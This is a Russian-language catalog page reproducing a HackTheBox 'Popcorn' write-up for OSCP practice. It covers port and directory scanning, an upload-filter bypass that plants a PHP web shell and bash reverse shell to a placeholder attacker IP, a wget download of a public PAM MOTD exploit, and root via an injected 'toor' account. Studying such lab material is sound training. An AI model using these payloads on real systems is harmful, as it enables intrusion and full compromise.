Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Popcorn-TJNULL-OSCP- — Разбор Popcorn HTB, охватывающий продвинутый фаззинг директорий, обход загрузки файлов с помощью магических чисел/подмены расширения с использованием Burp Suite, и повышение привилегий через CVE-2010-0832 (взлом файла PAM MOTD). | Kitploit
Инструменты/GitHubGitHub/r3fr4kt/popcorn-tjnull-oscp-
Повышение привилегийРазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийФаззингCTFТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubr3fr4kt/popcorn-tjnull-oscp-

Popcorn-TJNULL-OSCP-

2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Разбор Popcorn HTB, охватывающий продвинутый фаззинг директорий, обход загрузки файлов с помощью магических чисел/подмены расширения с использованием Burp Suite, и повышение привилегий через CVE-2010-0832 (взлом файла PAM MOTD).

Репозиторий

HackTheBox: Разбор Popcorn

Дата: 05 июня 2026
Сложность: Лёгкая
Платформа: HackTheBox
Ключевые техники: Сканирование портов и сервисов, фаззинг каталогов (Gobuster), обход фильтров загрузки файлов, манипуляция HTTP-запросами (Burp Suite), удалённое выполнение кода (RCE), продвинутая стабилизация TTY-оболочки (Python), локальная эксплуатация ядра/PAM (подмена файлов MOTD).


1. Разведка и перебор

Сканирование портов (Быстрая разведка)

Начинаем с быстрого TCP-сканирования всех 65 535 портов (-p-) для поиска открытых точек входа. Оптимизируем скорость выполнения с помощью --min-rate 5000, отключаем разрешение DNS и ping-проверки для ускорения процесса в среде аудита:

root@kitploit:~
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>

Первоначальное сканирование надёжно обнаруживает два открытых порта: порт 22 (SSH) и порт 80 (HTTP).

Сканирование сервисов и уязвимостей (Углублённый анализ)

Затем выполняем целенаправленное углублённое сканирование на обнаруженных портах для определения точных версий сервисов и запуска стандартных и базовых скриптов уязвимостей Nmap:

root@kitploit:~
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>

Из вывода извлекаем критическую информацию о целевой системе:

  • Порт 22/TCP (SSH): OpenSSH 5.1 Debian 6ubuntu2 (Указывает на значительно устаревший дистрибутив Ubuntu Linux).
  • Порт 80/TCP (HTTP): Apache httpd 2.2.12

Фаззинг каталогов (Gobuster)

Перед взаимодействием с веб-приложением через браузер добавляем IP-адрес цели в файл /etc/hosts атакующей машины, чтобы упорядочить сопоставление доменов и гарантировать корректное разрешение внутренних перенаправлений:

root@kitploit:~
<VICTIM_IP>    popcorn.htb

Затем запускаем автоматическое обнаружение скрытых каталогов с помощью gobuster и классического среднего списка слов DirBuster:

root@kitploit:~
gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt

Фаза фаззинга обнаруживает следующие доступные пути на веб-сервере жертвы:

  • /index (Стандартная индексная страница).
  • /test (Тестовая панель или файл с информацией о разработке).
  • /torrent (Полнофункциональная веб-платформа для хостинга и обмена торрент-файлами).
  • /response (Внутренняя страница ответов).

2. Вектор начального доступа (Веб-эксплуатация и обход фильтров)

Исследование каталога /torrent обнаруживает CMS для обмена торрентами. Для взаимодействия с функциями загрузки мы регистрируемся и входим в учётную запись, созданную на месте. После публикации легитимного .torrent-файла платформа предоставляет возможность редактировать детали торрента и загружать рекламное изображение скриншота. Эта конкретная форма становится нашим основным вектором атаки.

Для достижения удалённого выполнения кода (RCE) мы проходим через несколько этапов тестирования, анализируя поведение бэкенда с помощью Burp Suite (Repeater):

Попытка 1: Динамический веб-шелл через GET-параметры (Синтаксическая ошибка)

Перехватываем запрос на загрузку скриншота и изменяем имя файла на exploit.php. Пытаемся вставить классический однострочный веб-шелл в тело файла:

root@kitploit:~
<?php system($_GET['cmd']) ?>

Результат: Веб-сервер возвращает внутреннюю ошибку выполнения из-за отсутствующей точки с запятой ; в конце инструкции PHP, что нарушает поток выполнения.

Попытка 2: Инъекция с параметрами в URL загрузки (Метод не сработал)

Исправляем синтаксис на <?php system($_GET['cmd']); ?>, но поскольку запрос отправляется методом POST (с использованием multipart/form-data), мы пытаемся передать команду напрямую в URL заголовка (POST /torrent/upload_file.php?cmd=whoami).

Результат: Веб-сервер выдаёт следующую ошибку:

root@kitploit:~
Cannot execute a blank command

Анализ: Во время обработки загрузки файла бэкенд полностью игнорирует GET-переменные, присутствующие в URL. Скрипт upload_file.php записывает файл на диск, но немедленно пытается выполнить внутреннюю функцию. Поскольку он ничего не получает в ожидаемых переменных тела, $_GET['cmd'] обрабатывается как пустое значение.

Попытка 3: Двойное расширение (Статическое выполнение не удалось)

Чтобы обойти базовые фильтры проверки расширений, которые определяют, является ли файл допустимым изображением, переименовываем файл в innocent.php.png и жёстко прописываем полезную нагрузку обратного шелла, чтобы он не зависел от внешних параметров:

root@kitploit:~
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>

Результат: Сервер отвечает успешным 200 OK со следующим сообщением:

root@kitploit:~
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.

Анализ: Хотя это позволило обойти начальный фильтр, поскольку файл строго заканчивался расширением .png, сервер Apache обработал его как обычное статическое изображение. При переходе по ссылке браузер просто выводит необработанные байты как обычный текст; Apache не передаёт файл интерпретатору PHP, что означает, что наш слушатель Netcat так и не получает соединение.

Попытка 4: Успешный обход (Изменение расширения и магические числа)

Зная, что серверу необходимо обработать расширение .php для запуска выполнения кода, мы меняем порядок расширений (innocent.png.php), сохраняем заголовок Content-Type: image/png и добавляем сигнатуру PNG или магические числа (‰PNG) в начало тела файла, чтобы обмануть проверки содержимого бэкенда:

root@kitploit:~
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1

------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--

Результат: Веб-сервер чисто принимает файл, обрабатывает конечное расширение и сохраняет его в каталоге загрузок под именем innocent.php:

root@kitploit:~
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.

Запуск удалённого выполнения кода (RCE)

Поскольку скрипт загрузки только сохраняет файл на диск без его выполнения в контексте POST-запроса на загрузку, мы запускаем отдельный вызов, чтобы заставить сервер прочитать его:

  1. Настраиваем слушатель Netcat на атакующей машине:
root@kitploit:~
nc -lvnp 4444

  1. Запускаем обратный шелл, перейдя напрямую по URL-пути загруженного файла (через браузер или чистый GET-запрос в Burp):
root@kitploit:~
[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)

Сервер Apache вынужден обработать файл, обнаруживает PHP-теги, выполняет Bash-полезную нагрузку, и соединение успешно принимается на нашем слушателе, предоставляя начальный доступ от имени пользователя www-data.


3. Пост-эксплуатация и стабилизация TTY-оболочки

Попытка повышения привилегий сразу после получения шелла выявляет серьёзные ограничения среды:

root@kitploit:~
www-data@popcorn:/$ su root
su: must be run from a terminal

Команда su строго требует реальный интерактивный терминал (TTY) для безопасного ввода. Попытка принудительно получить его через python3 показывает, что он не установлен на этой устаревшей системе (The program 'python3' is currently not installed).

Мы обходим это препятствие, используя классический бинарник Python (Python 2), присутствующий на машине, и перенастраивая дескрипторы терминала атакующей машины:

root@kitploit:~
# 1. Запускаем интерактивную оболочку, используя абсолютный путь к старому Python
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'

# 2. Приостанавливаем процесс оболочки на фоне
Ctrl + Z

# 3. На терминале атакующего устанавливаем состояние клавиатуры в raw и выводим слушатель Netcat на передний план
stty raw -echo; fg

# 4. Принудительно обновляем экран и устанавливаем переменные окружения терминала для поддержки истории и автодополнения
reset xterm
export TERM=xterm
export SHELL=bash


4. Повышение привилегий

Локальная разведка системы

Проверяем версию дистрибутива ОС и ядра Linux на машине жертвы:

root@kitploit:~
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux

www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l

Операционная система указывает на старый выпуск Ubuntu (Karmic Koala), ядро и основные пакеты которого содержат несколько известных локальных уязвимостей для повышения привилегий.

Эксплуатация уязвимости PAM MOTD

Мы идентифицируем высоковероятный вектор, связанный с разбором сообщения дня PAM (Linux PAM 1.1.0 - Подмена файлов MOTD для повышения привилегий, отслеживается как CVE-2010-0832). Эта уязвимость позволяет локальным пользователям манипулировать файлами, принадлежащими root, через небезопасную обработку симлинков во время локальной SSH-аутентификации.

Используем публичный эксплойт 14339.sh для автоматизации пути атаки.

  1. Загружаем эксплойт на атакующую машину и запускаем простой Python HTTP-сервер для его хостинга:
root@kitploit:~
searchsploit -m linux/local/14339.sh
python3 -m http.server 80

  1. Из стабилизированной оболочки на Popcorn переходим в каталог /tmp (который предоставляет глобальные права чтения/записи/выполнения), загружаем скрипт и делаем его исполняемым:
root@kitploit:~
cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh

Вывод эксплойта:

root@kitploit:~
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root

Скрипт успешно завершает выполнение, напрямую изменяя локальную базу пользователей в /etc/passwd.

Повышение до root

Из-за внутренней работы эксплойта он не изменяет пароль исходной учётной записи root. Вместо этого он вставляет новую клонированную учётную запись с привилегиями root в конец файла /etc/passwd.

Проверяем это, прочитав последнюю строку файла пользователей:

root@kitploit:~
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash

Примечание: Конфигурация 0:0 (UID/GID) предоставляет этой учётной записи параметры идентичности, идентичные администратору root.

Хотя выполнение su root с паролем toor выводит ошибку Authentication failure, исходная учётная запись root остаётся нетронутой, наша стабилизированная Python TTY-оболочка позволяет плавно переключать пользователей, нацеливаясь на пользовательский клон:

root@kitploit:~
www-data@popcorn:/tmp$ su toor
Password: toor

Вводим пароль (toor), и наш терминал мгновенно меняет приглашение на символ высшего уровня (#):

root@kitploit:~
root@popcorn:/tmp# whoami
toor

root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Целевая машина полностью скомпрометирована. Теперь у нас есть административный доступ для получения требуемых хэшей флагов:

  • Пользовательский флаг: /home/george/user.txt
  • Корневой флаг: /root/root.txt
Скачать инструмент